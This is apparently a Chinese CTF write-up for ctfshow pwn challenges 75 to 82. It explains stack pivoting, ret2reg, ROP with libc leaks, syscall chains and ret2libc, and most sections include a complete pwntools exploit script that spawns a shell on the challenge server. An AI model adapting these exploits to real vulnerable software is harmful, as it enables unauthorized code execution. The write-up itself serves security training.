pwn75栈迁移 check
1 2 3 4 5 6 7 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
题目提示”栈空间不够怎么办”,可以用栈迁移
栈迁移原理是利用两次leave ret先将ebp的值修改为输入shell的地址,再利用第二次leave ret将esp的值改为ebp的值,pop ebp将此时栈顶的值弹入ebp中,esp+4
执行ret
也就是pop eip将当前栈顶内容弹入执行流,使我们压在栈上非返回地址处的地址也可以执行达到控制执行流的效果
观察程序
漏洞函数:ctfshow
1 2 3 4 5 6 7 8 9 10 11 int ctfshow () { char s[36 ]; memset (s, 0 , 0x20 u); read(0 , s, 0x30 u); printf ("Welcome, %s\n" , s); puts ("What do you want to do?" ); read(0 , s, 0x30 u); return printf ("Nothing here ,%s\n" , s); }
两次输入,但是只有8个溢出字节,显然不太够用所以想到第一次read泄露ebp的值,第二次read将get shell程序写到栈上最后两次leave ret返回起始输入地址执行代码
第一次read
1 2 3 4 5 io.recv() io.send(b'a' *(0x28 -1 )+b'b' ) io.recvuntil(b'b' ) ebp_addr=u32(io.recv(4 ).ljust(4 ,b'\x00' )) print ('ebp>>>' +hex (ebp_addr))
注意,在ida中s虽然只有36个字节的空间,但是其到ebp的距离仍然是0x28,不要写成36了
得到ebp地址是为了计算栈上起始输入数据存放的地址
第二次read
1 2 3 4 5 s_addr=ebp_addr-0x38 sh_addr=s_addr+0x10 payload=b'aaaa' +p32(system)+p32(0 )+p32(sh_addr)+b'/bin/sh\x00' payload+=b'a' *0x10 +p32(s_addr)+p32(leave_ret)
程序里有system函数我们直接用即可,但是没有/bin/sh所以需要手动压入/bin/sh其中s_addr即为起始输入地址,用其覆盖掉ebp再将返回地址修改为leave ret加上函数调用结尾自带的leave ret即可达成栈迁移
我们利用gdb进行调试来确定二者的偏移
输入aaaa后可以看到输入位于0xffffd160处,ebp的值为0xffffd198此处注意我们最后修改的是ebp的值而不是ebp的地址所以此处偏移是用ebp的值减去输入位置的地址即0x38
因为迁移后esp会加4故前4个地址无效
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *context(os = 'linux' , arch = 'i386' , log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28252 ) elf = ELF('./pwn' ) io.recv() io.send(b'a' *(0x28 -1 )+b'b' ) io.recvuntil(b'b' ) ebp_addr=u32(io.recv(4 ).ljust(4 ,b'\x00' )) print ('ebp>>>' +hex (ebp_addr))leave_ret=0x08048766 system=elf.plt['system' ] s_addr=ebp_addr-0x38 sh_addr=s_addr+0x10 payload=b'aaaa' +p32(system)+p32(0 )+p32(sh_addr)+b'/bin/sh\x00' payload+=b'a' *0x10 +p32(s_addr)+p32(leave_ret) io.send(payload) io.interactive()
pwn76栈迁移 check
1 2 3 4 5 6 7 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: i386-32 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000 )
程序静态链接,进入程序观察实际没开canary,自带shell需要满足一定条件才能执行,也对应了提示中的叫我们理清逻辑
main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int __cdecl main (int argc, const char **argv, const char **envp) { char v4; int v5; char s[30 ]; unsigned int v7; memset (s, 0 , sizeof (s)); setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 1 , 0 ); printf ("CTFshow login: " , v4); _isoc99_scanf("%30s" , s); memset (input, 0 , 0xC u); v5 = 0 ; v7 = Base64Decode(s, &v5); if ( v7 > 0xC ) { puts ("Input Error!" ); } else { memcpy (input, v5, v7); if ( auth(v7) == 1 ) correct(); } return 0 ; }
Base64Decode函数也就是解码s并将解码后数据存入v5,后边又使用memcpy copy到input中,此处的Base64Decode函数不确定的话可以动调输点东西看看是不是
想要get shell需要进入到correct函数,且input 等于0xDEADBEEF
想要进入correct函数需要auth(v7)==1
auth()函数
1 2 3 4 5 6 7 8 9 10 11 _BOOL4 __cdecl auth (unsigned int a1) { char v2[8 ]; char *s2; char v4[8 ]; memcpy (v4, input, a1); s2 = calc_md5(v2, 12 ); printf ("hash : %s\n" , s2); return strcmp ("f87cd601aa7fedca99018a8be88eda34" , s2) == 0 ; }
返回值为strcmp的返回值是否等于0如果等于则返回1不等于则返回0要想auth(v7)==1
就需要保证s2=f87cd601aa7fedca99018a8be88eda34
接下来思考如何将s2的值改为这串字符
memcpy(v4, input, a1);
表示将input处的a1个字节复制给v4此处有4个字节的溢出刚好可以覆盖ebp可以考虑栈迁移,无法改到v2所以想要达成源码条件执行shell就不太可能了
s2 = calc_md5(v2, 12);
s2的内容由calc_md5()这个函数决定
calc_md5()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __cdecl calc_md5 (int a1, int a2) { char v3[16 ]; char v4[92 ]; int v5; int i; v5 = malloc (33 ); MD5_Init(v4); while ( a2 > 0 ) { if ( a2 <= 512 ) MD5_Update(v4, a1, a2); else MD5_Update(v4, a1, 512 ); a2 -= 512 ; a1 += 512 ; } MD5_Final(v3, v4); for ( i = 0 ; i <= 15 ; ++i ) snprintf (2 * i + v5, 32 , "%02x" , v3[i]); return v5; }
该函数用于计算一个数据块的MD5哈希值,a1为指向需要计算哈希值的数据块的起始地址,a2为从a1指向的地址开始的数据块的长度,最后返回算出的哈希值
通过满足程序逻辑来获得shell不太容易所以选择用栈迁移,所以将shell布置在input上,通过栈迁移迁移到input上执行
两次leave ret第一次是auth中的leave ret将input的地址弹到ebp中,第二次leave ret是main函数中的将input的地址mov到esp,pop ebp接着ret shell。函数又涉及base64又涉及哈希值看起来很麻烦但是实际上就是一个栈迁移
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *import base64io = remote('pwn.challenge.ctf.show' ,28157 ) elf = ELF('./pwn' ) shell = 0x08049284 input = 0x0811EB40 payload = b'aaaa' + p32(shell) + p32(input ) payload = base64.b64encode(payload) io.sendlineafter(b': ' ,payload) io.interactive()
pwn77寻址数组 check
1 2 3 4 5 6 7 8 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
只开了nx
漏洞函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 __int64 ctfshow () { int v0; __int64 result; char v2[267 ]; char v3; int v4; v4 = 0 ; while ( !feof(stdin ) ) { v3 = fgetc(stdin ); if ( v3 == '\n' ) break ; v0 = v4++; v2[v0] = v3; } result = v4; v2[v4] = 0 ; return result; }
会一个一个字节的从标准输入流获取输入到v2中,可以先用puts泄露libc
但是要注意v4的值v4索引数组覆盖0x10C后到v4的值此时v4为0x10C将其覆盖为0x118即可索引到返回地址处
注意要堆栈对齐,64位ubuntu系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐,说简单一点就是在将要调用system函数的时候,rsp指向的地址末尾需是0
libc:libc database search
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28196 ) elf = ELF('./pwn' ) libc = ELF('./1.so' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = elf.sym['main' ] pop_rdi_ret = 0x4008e3 ret = 0x400576 payload = b'a' *(0x110 -0x4 )+b'\x18' +p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendlineafter(b'T^T' ,payload) puts_addr = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) print (hex (puts_addr))libc_base = puts_addr - libc.sym['puts' ] system = libc_base + libc.sym['system' ] bin_sh = libc_base + next (libc.search('/bin/sh' )) payload = b'a' *(0x110 -0x4 )+b'\x18' +p64(pop_rdi_ret)+p64(bin_sh)+p64(ret)+p64(system) io.sendlineafter(b'T^T' ,payload) io.interactive()
pwn78 64位系统调用 check
1 2 3 4 5 6 7 8 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
程序静态链接有明显栈溢出有很多gadget可以用所以不用mprotect也可以直接构造rop链先调用read读入/bin/sh
再调用execve('bin/sh',0,0)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28109 ) elf = ELF('./pwn' ) syscall_ret = 0x45BAC5 pop_rdi = 0x4016c3 pop_rdx_rsi = 0x4377f9 pop_rax = 0x46b9f8 bss = 0x6c2000 payload = b'a' *(0x50 +0x8 )+p64(pop_rax)+p64(0 )+p64(pop_rdx_rsi)+p64(0x10 )+p64(bss)+p64(pop_rdi)+p64(0 )+p64(syscall_ret) payload += p64(pop_rax)+p64(0x3b )+p64(pop_rdx_rsi)+p64(0 )+p64(0 )+p64(pop_rdi)+p64(bss)+p64(syscall_ret) io.sendline(payload) io.sendline(b'/bin/sh\x00' ) io.interactive()
pwn79 ret2reg ret2reg原理
查看溢出函返回时哪个寄存值指向溢出缓冲区空间
查找 call reg 或者 jmp reg 指令,将 EIP 设置为该指令地址
reg 所指向的空间上注入 Shellcode (需要确保该空间是可以执行的,但通常都是栈上的)
reg也就对应着rax rdi这些寄存器他们有可能指向栈上,此时栈上又是可执行的就可以在不泄露栈地址的情况下执行栈上内容
check
1 2 3 4 5 6 7 8 9 10 11 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No Debuginfo: Yes
栈上可执行
main
1 2 3 4 5 6 7 8 9 10 11 12 13 int __cdecl main (int argc, const char **argv, const char **envp) { int input[512 ]; int *p_argc; p_argc = &argc; init(); logo(); printf ("Enter your input: " ); fgets(input, 2048 , stdin ); ctfshow(input); return 0 ; }
fgets不够覆盖到ebp控制执行流但是ctfshow中有个strcpy将input的内容复制到buf中存在溢出可以控制执行流
ctfshow
1 2 3 4 5 6 void __cdecl ctfshow (char *input) { char buf[512 ]; strcpy (buf, input); }
通过gdb调试发现在ctfshow函数leave ret时eax ecx edx均指向栈上,如果能找到call eax这类gadget就可以执行栈上内容
刚好这题有call eax
所以整体思路:在栈上布置shellcode,利用strcpy溢出控制执行流执行call rax进而调用栈上shellcode
pwn81 check
1 2 3 4 5 6 7 8 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No
main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __cdecl main (int argc, const char **argv, const char **envp) { void *v3; void *handle; init(argc, argv, envp); logo(); puts ("Maybe it's simple,O.o" ); handle = dlopen("libc.so.6" , 258 ); v3 = dlsym(handle, "system" ); printf ("%p\n" , v3); ctfshow(); write(1 , "Hello CTFshow!\n" , 0xF uLL); return 0 ; }
以延迟绑定符号可搜索的形式打开一个共享库也就是动态链接的libc文件,后续用dlsym搜索出system函数地址并存入v3中用printf输出
ctfshow中有栈溢出漏洞,可溢出字节数很多
因为给了system的地址可以直接获得libc基地址所以elf基地址不知道也没关系
libc:libc database search
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import * context (arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28217 ) #io = process( # ["/home/pwn/桌面/ld.so.2" , "./pwn" ], # env={"LD_PRELOAD" : "/home/pwn/桌面/libc.so.6" }, #) #io=process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('./1.so' ) #gdb.attach(io) #sleep(1) io.recvuntil(b' ,O.o\n' ) system =int (io.recvline(),16 ) print(hex(system)) libc_base = system - libc.sym['system' ] bin_sh = libc_base + next(libc.search(b' /bin/sh' )) pop_rdi = libc_base + 0x2164f ret = libc_base + 0x21E25 payload = b' a' *(0x80 +0x8 )+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system) io.send(payload) io.interactive()
pwn82 ret2dlresolve 第一种打法直接32位libc但是这题是学姿势的例题
libc:libc database search
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28296 ) elf = ELF('./pwn' ) libc = ELF('./1.so' ) write_plt = elf.plt['write' ] write_got = elf.got['write' ] pop_edx_esi_edi_ebp = 0x08048628 show = elf.sym['show' ] payload = b'a' *(0x6c +0x4 )+p32(write_plt)+p32(show)+p32(1 )+p32(write_got)+p32(0x10 ) io.send(payload) write_addrs = u32(io.recvuntil(b'\xf7' )[-4 :]) print (hex (write_addrs))libc_base = write_addrs - libc.sym['write' ] system = libc_base + libc.sym['system' ] bin_sh = libc_base + next (libc.search(b'/bin/sh' )) payload = b'a' *(0x6c +0x4 )+p32(system)+p32(0 )+p32(bin_sh) io.send(payload) io.interactive()
第二种打法ret2dlresolve见ret2dlresolve这篇文章